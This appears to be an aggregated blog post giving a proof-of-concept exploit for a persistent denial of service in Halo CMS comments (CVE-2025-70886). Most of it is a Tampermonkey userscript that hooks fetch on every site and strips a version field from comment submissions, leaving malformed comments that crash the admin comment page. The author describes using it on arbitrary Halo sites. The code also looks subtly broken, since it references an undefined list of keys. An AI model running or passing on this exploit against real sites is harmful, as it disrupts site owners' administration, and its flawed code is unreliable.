























简体中文 | English
A Proof of Concept (PoC) exploit for CVE-2025-70886, a persistent denial-of-service vulnerability in Halo CMS (v2.22.4 and earlier) that allows remote attackers to crash the admin comment interface by submitting malformed payloads.
While surfing the web, I found Issue #7890 · halo-dev/halo. I thought this issue was submitted on November 1, 2025, and it's now January 4, 2026, so it should have been fixed by now.
With AI assistance, I quickly wrote the following Tampermonkey script for verification:
// ==UserScript==
// @name Modify Halo comment payload
// @namespace http://tampermonkey.net/
// @version 0.1
// @description Intercept POSTs to /apis/api.halo.run/v1alpha1/comments and remove subjectRef.version
// @match *://*/*
// @grant none
// @run-at document-start
// ==/UserScript==
(function () {
'use strict';
console.log('[modify_halo_comment] script started');
const targetPath = '/apis/api.halo.run/v1alpha1/comments';
const REMOVE = {
paths: [
'subjectRef.version',
]
};
function deletePath(obj, dottedPath) {
if (!obj || typeof obj !== 'object') return false;
const parts = String(dottedPath).split('.').filter(Boolean);
if (parts.length === 0) return false;
let current = obj;
for (let i = 0; i < parts.length - 1; i++) {
const key = parts[i];
if (!current || typeof current !== 'object') return false;
current = current[key];
}
if (!current || typeof current !== 'object') return false;
const lastKey = parts[parts.length - 1];
if (lastKey in current) {
delete current[lastKey];
return true;
}
return false;
}
function stripFields(obj) {
let modified = false;
if (obj && typeof obj === 'object') {
for (const key of REMOVE.topLevelKeys) {
if (key in obj) {
delete obj[key];
modified = true;
}
}
for (const path of REMOVE.paths) {
if (deletePath(obj, path)) modified = true;
}
}
return modified;
}
// --- patch fetch ---
const _fetch = window.fetch;
window.fetch = async function (input, init) {
try {
const req = (input instanceof Request) ? input : null;
const isURLObject = (typeof URL !== 'undefined' && input instanceof URL);
let url = req ? req.url : (typeof input === 'string' ? input : isURLObject ? input.toString() : '');
let method = (init && init.method) || (req && req.method) || 'GET';
if (url && url.includes(targetPath) && method && method.toUpperCase() === 'POST') {
console.log('[modify_halo_comment] intercept', { url, method });
const serializeBody = async (body) => {
if (typeof body === 'string') return body;
if (body instanceof Blob) return await body.text();
if (body instanceof FormData) return null;
if (body && typeof body === 'object') {
try { return JSON.stringify(body); } catch (e) { }
}
return null;
};
const tryModify = (rawBody) => {
if (!rawBody) return null;
try {
const obj = JSON.parse(rawBody);
const changed = stripFields(obj);
if (changed) {
const out = JSON.stringify(obj);
console.log('[modify_halo_comment] modified body', out.length > 400 ? out.slice(0, 400) + '…' : out);
return out;
}
console.log('[modify_halo_comment] no fields matched; not modified');
} catch (e) { }
return null;
};
if (init && 'body' in init && init.body != null) {
const serialized = await serializeBody(init.body);
console.log('[modify_halo_comment] init body serialized', serialized ? serialized.slice(0, 400) : serialized);
const modified = tryModify(serialized);
if (modified) {
init = Object.assign({}, init, { body: modified });
console.log('[modify_halo_comment] removed configured fields (fetch init)');
}
} else if (req) {
const cloned = req.clone();
const text = await cloned.text();
const modified = tryModify(text);
if (modified) {
const reqInit = {
method: req.method,
headers: req.headers,
body: modified,
referrer: req.referrer,
referrerPolicy: req.referrerPolicy,
mode: req.mode,
credentials: req.credentials,
cache: req.cache,
redirect: req.redirect,
integrity: req.integrity,
keepalive: req.keepalive,
signal: req.signal
};
input = new Request(req.url, reqInit);
console.log('[modify_halo_comment] removed configured fields (fetch Request)');
}
}
}
} catch (e) { console.error('[modify_halo_comment] fetch patch error', e); }
return _fetch.call(this, input, init);
};
})();
After loading the script, I went to any Halo CMS site and posted a comment. After submitting the comment, the backend comment page throws errors, showing an internal server error.
The solution is to download the Data Studio plugin to delete the malicious comments.
Tested on:
Acknowledgments:
Thanks to 林间拾语 for helping with testing.
此内容由惯性聚合(RSS阅读器)自动聚合整理,仅供阅读参考。 原文来自 — 版权归原作者所有。